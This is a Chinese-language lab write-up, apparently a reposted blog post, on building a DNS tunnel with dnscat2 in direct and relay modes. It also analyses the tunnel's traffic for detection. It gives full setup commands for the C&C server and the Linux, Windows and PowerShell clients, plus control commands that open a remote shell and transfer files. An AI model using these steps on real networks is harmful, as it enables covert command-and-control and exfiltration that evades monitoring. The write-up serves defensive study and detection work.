隐秘通信-使用dnscat2搭建DNS隧道实验

渗透技巧 11个月前 admin
292 0 0

1. 引言

1.1. 实验背景和目的

黑客在内网渗透过程中通常会使用各种加密算法、代理服务器、隧道技术等方式来加密和伪装网络通信,以躲避我们的防火墙、入侵检测系统、网络威胁检测与响应、网络流量分析等安全设备的检测与拦截。

本实验的目的主要有:
  • 掌握dnscat2搭建DNS隧道的步骤
  • 掌握dnscat2的使用方法及应用场景
  • 提取dnscat2流量及分析其特征

1.2. 实验的意义

对于乙方(安全产品厂商)来说,可以通过系统梳理各种攻击手段,以转换成安全设备的检测规则和检测模型,以达到优化和提升自身产品的目的。

对于甲方(安全产品使用方)来说,可以通过模拟这些攻击行为,来验证已部署的这些安全措施的防护效果,发现安全运营薄弱点,以达到确保安全防护持续有效、缩小被攻击的时间窗口的目的。

纵观市面上的网络安全产品,大体可以抽象成三层,分别是应用层、主机层和网络层。

  • 应用层的有:
    • 邮件安全
    • 身份安全
    • 数据安全
  • 主机层的有
    • 主机入侵检测系统
    • 终端检测与响应
    • 容器安全
  • 网络层的有:
    • 基于网络的入侵检测系统
    • 网络威胁检测与响应
    • 网络流量分析
    • 应用防火墙

ATT&CK是一个站在攻击者的视角来描述攻击中各阶段用到的技术的威胁模型,各家安全厂商也都在基于 ATT&CK 框架体系进行攻击战术和技术的覆盖。而作为安全研究人员,每天也做着类似的事情——不断研究这些战术、技术和子技术,搭建环境,漏洞复现与分析,攻击行为模拟,攻击原理分析与特征提取,防御规则编写或模型训练等等。比如同一个攻击行为模拟实验,被许多人重复模拟了N次。再比如这个实验有坑,那么很多人也都会再踩一遍这个坑,这样难免会有时间和人员上的浪费。为了能够提升效率,让新人少踩坑,同时为了能够减少知识盲区,构建体系化的攻防知识与积累实战技巧,我决定系统梳理一下这些攻击手段,把该踩的坑都踩一遍。这大概就说我做这些实验的意义所在吧,近期的关注点在流量安全,因此先做隐秘通信的实验。

2. 基础知识

2.1. 隐秘通信隧道概览

隐秘通信隧道是一种绕过各类安全产品的通信技术。常用的隧道有:

  • 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道。
  • 传输层:TCP隧道、UDP隧道、常规端口转发。
  • 网络层:IPv6隧道、ICMP隧道、GRE隧道。

2.2. DNS隧道简介

DNS隧道(DNS Tunneling)是将其他协议的内容封装在DNS协议中,然后以DNS请求和响应包完成传输数据通信的技术。防火墙或入侵检测等设备通常不会过滤DNS流量,这为DNS成为隐蔽信道创造了条件,因此DNS隧道在僵尸网络和APT攻击中扮演着重要的角色。

根据连接方式不同,可以把DNS隧道分为直连模式和中继模式两类:

直连模式:客户端直接和指定IP地址的DNS服务器建立连接,然后将需要传输的数据编码封装在DNS协议中进行通信。

中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。

区别在于直连模式速度相对快,但安全性相对较差。非直连模式速度相对较慢,但安全性相对较高。在实战中主要使用中继模式。

2.3. DNS记录类型

DNS的记录类型有很多,DNS隧道可以利用其中的一些记录类型来传输数据。

    • A记录 指定主机名(或域名)对应的IPV4地址记录
    • AAAA记录 指定主机名(或域名)对应的IPV6地址记录
    • NS记录  指定该域名由哪个DNS服务器来进行解析
    • MX记录  指向一个邮件服务器
    • PTR记录  将一个IP地址映射到对应的域名,也可以看成是A记录的反向
    • CNAME记录  允许将多个名字映射到同一台计算机
    • TXT记录 一般指主机名或域名的说明

2.4. DNS隧道搭建工具介绍

DNS隧道搭建的工具有很多,包括但不限于一下工具:

    • dnscat2:https://github.com/iagox86/dnscat2
    • Iodine:https://github.com/yarrick/iodine
    • Dns2tcp:https://www.aldeid.com/wiki/Dns2tcp
    • tcp-over-dns:https://analogbit.com/software/tcp-over-dns/
    • Heyoka:https://heyoka.sourceforge.net/
    • DeNise:https://github.com/mdornseif/DeNiSe

2.5. dnscat2简介

dnscat2是一款开源工具,该工具基于DNS协议来创建加密的命令和控制(C&C)通道dnscat2的客户端使用C/C++语言编写,服务端使用Ruby语言编写。

使用dnscat2搭建的DNS隧道,可以支持直连模式和中继模式。如果目标内网放行所有的DNS请求,dnscat2可以使用直连模式,通过UDP53端口进行通信。使用直连模式,会在请求数据包中带有比较明显的特征,即所有的域名都是以dnscat开头。如果目标内网的请求仅限于白名单服务器或指定的域,dnscat2可以使用中继模式。中继模式需要申请一个域名,并将运行dnscat2服务端的服务器指定为受信任的DNS服务器。

dnscat2通过DNS进行控制并执行命令。与同类工具相比,dnscat2具有如下特点:

    • 支持多个会话
    • 流量加密
    • 使用密钥防止MiTM攻击
    • 在内存中直接执行PowerShell脚本
    • 隐蔽通信


3. 实验过程

3.1. 前置准备

物料清单如下:

    • 一个域名:rocsec.cc
    • 一台公网linux vps主机:144.xx.xxx.41
    • 内网kali机器:192.168.110.163
    • 内网win10机器:192.168.110.148

https://dcc.godaddy.com/上购买域名。这里以rocsec.cc为例:

隐秘通信-使用dnscat2搭建DNS隧道实验

对,没错,为了做这个实验,我买了个为期三年的域名,和一个vps

3.2. 搭建dnscat2隧道步骤

3.2.1. 设置域名解析

首先,用购买的那台公网linux vps144.xx.xxx.41)作为C&C服务器。然后在域名管理的DNS解析中,添加一个A记录和一个NS记录。

首先创建记录A,将自己的域名ns1.rocsec.cc 解析到VPS服务器地址。

然后创建NS记录,将 api.rocsec.cc 指向ns1.rocsec.cc 

第一条A记录是在告诉域名系统,ns1.rocsec.ccIP地址是 144.xx.xxx.41 

第二条NS记录是在告诉域名系统,想要知道 api.rocsec.cc IP地址,就去问ns1.rocsec.cc

隐秘通信-使用dnscat2搭建DNS隧道实验

我们可以通过ping ns1.rocsec.cc,来验证dns解析是否成功。若能ping通,说明第一条A记录解析成功。

隐秘通信-使用dnscat2搭建DNS隧道实验

然后在我们的VPS上执行以下命令监听UDP 53端口

tcpdump -n -i eth0 udp dst port 53

然后执行其他任意主机上执行nslookup api.rocsec.cc命令,如果在我们的VPS上抓包获取如下信息,说明第二条NS记录解析成功。

隐秘通信-使用dnscat2搭建DNS隧道实验

3.2.2. 在公网VPS上部署dnscat2服务端

安装过程如下:

apt-get updateapt-get -y install gem ruby-dev libpq-dev git make g++gem install bundlergit clone https://github.com/iagox86/dnscat2.gitcd dnscat2/serverbundle install

3.2.3. 直连模式建立隧道

VPS上运行服务端:

ruby ./dnscat2.rb host=0.0.0.0,port=53 --secret=direct_conn123456host:绑定的IPport:绑定的端口--secret:连接密钥
隐秘通信-使用dnscat2搭建DNS隧道实验

Linux客户端安装及运行:

git clone https://github.com/iagox86/dnscat2.gitcd dnscat2/client/make

kali上运行dnscat linux客户端:

./dnscat --dns server=144.xx.xxx.41 --secret=direct_conn123456
隐秘通信-使用dnscat2搭建DNS隧道实验

输出Session established!说明隧道建立成功。

Windows客户端安装及运行:

可以直接使用编译好的Windows客户端

https://downloads.skullsecurity.org/dnscat2/

.dnscat2-v0.07-client-win32.exe --dns server=144.xx.xxx.41 --secret=direct_conn123456
隐秘通信-使用dnscat2搭建DNS隧道实验直连模式抓包分析:
隐秘通信-使用dnscat2搭建DNS隧道实验

通过抓包我们可以看到,DNS请求里面,请求的域名是以dnscat开头,特征非常明显,容易被安全防护产品检测与拦截,实战中不建议使用。

3.2.4. 中继模式建立隧道

VPS运行服务端:

ruby ./dnscat2.rb api.rocsec.cc -e open -c attck_test --no-cache
-e:指定安全级别,表示服务端允许客户端不进行加密-c:指定密钥--no-cache:禁止缓存

kali上运行dnscat linux客户端:

/dnscat --dns domain=api.rocsec.cc --secret=attck_test
隐秘通信-使用dnscat2搭建DNS隧道实验

Windows客户端安装及运行:

可以直接使用编译好的Windows客户端:

https://downloads.skullsecurity.org/dnscat2/

.dnscat2-v0.07-client-win32.exe --dns domain=api.rocsec.cc --secret=attck_test
隐秘通信-使用dnscat2搭建DNS隧道实验

也可以使用powershell版本的dnscat2客户端:

https://github.com/lukebaggett/dnscat2-powershell

Import-Module .dnscat2.ps1Start-Dnscat2 -Domain api.rocsec.cc -DNSServer 8.8.8.8
隐秘通信-使用dnscat2搭建DNS隧道实验

中继模式抓包分析:

隐秘通信-使用dnscat2搭建DNS隧道实验

我们通过执行nslookup api.rocsec.cc 抓取一个正常的数据包,看看是怎样的:

隐秘通信-使用dnscat2搭建DNS隧道实验

我们可以看到,正常的数据包,dns请求频率相对较小,并且请求数据相对干净,不会夹杂一长串的控制指令。

3.2.5. 服务端执行控制指令

sessions #查看当前建立的session windows #查看当前建立的session,和sessions一样session -i 1 #进入第一个session,和MSF一样window -i 1 #进入第一个session,和session -i 1一样
隐秘通信-使用dnscat2搭建DNS隧道实验
* clear:清屏* delay:修改远程响应延时* download:下载文件* echo:发送echo消息* exec:执行指定程序* help:查看帮助信息* listen:类似于SSH隧道的-L参数(本地转发)* ping:用于确认目标机器是否在线,若返回pong,说明目标机器在线* quit:退出dnscat2控制台* set:设置值,例如设置 security=open* shell:得到一个反弹的shell* shutdown:切断当前会话* suspend:返回上一层,相当于使用快捷键 Ctrl+Z* tunnels:查看dns隧道* unset:取消set设置的值* upload:上传文件* window:进入指定session,和session一样* windows:查看当前建立的session,和sessions一样

服务端执行结果:

隐秘通信-使用dnscat2搭建DNS隧道实验

被控端执行结果:

隐秘通信-使用dnscat2搭建DNS隧道实验

4. 实验总结

4.1. 总结

dnscat2可以部署直连模式和中继模式的DNS隧道,直连模式建立的DNS隧道,会在请求数据包中带有比较明显的特征,即所有的域名都是以dnscat开头。中继模式建立的DNS隧道,需要申请一个域名,相较于直连模式,更隐蔽。但也不是无迹可寻。

4.2. 遇到的问题及解决办法

坑点一:关闭默认53端口和开机自启动

Dnscat2默认使用udp 53端口通信,如果不想更改默认端口,则需要把vps上的systemd-resolved服务关闭,命令如下:

systemctlstop systemd-resolvedsystemctldisable systemd-resolved

实验完毕后,可以通过如下命令,开启systemd-resolved服务

sudosystemctl restart systemd-resolved.service

坑点二:ruby版本问题导致服务端安装失败

可以使用docker版本

docker pull arno0x0x/dnscat2docker run --rm -ti --privileged -p 53:53/udp -e DOMAIN_NAME="api.rocsec.cc" --name dnscat2 arno0x0x/dnscat2
隐秘通信-使用dnscat2搭建DNS隧道实验

原文始发于微信公众号(Roc安全空间站):隐秘通信-使用dnscat2搭建DNS隧道实验

版权声明:admin 发表于 2023年6月16日 下午7:29。
转载请注明:隐秘通信-使用dnscat2搭建DNS隧道实验 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...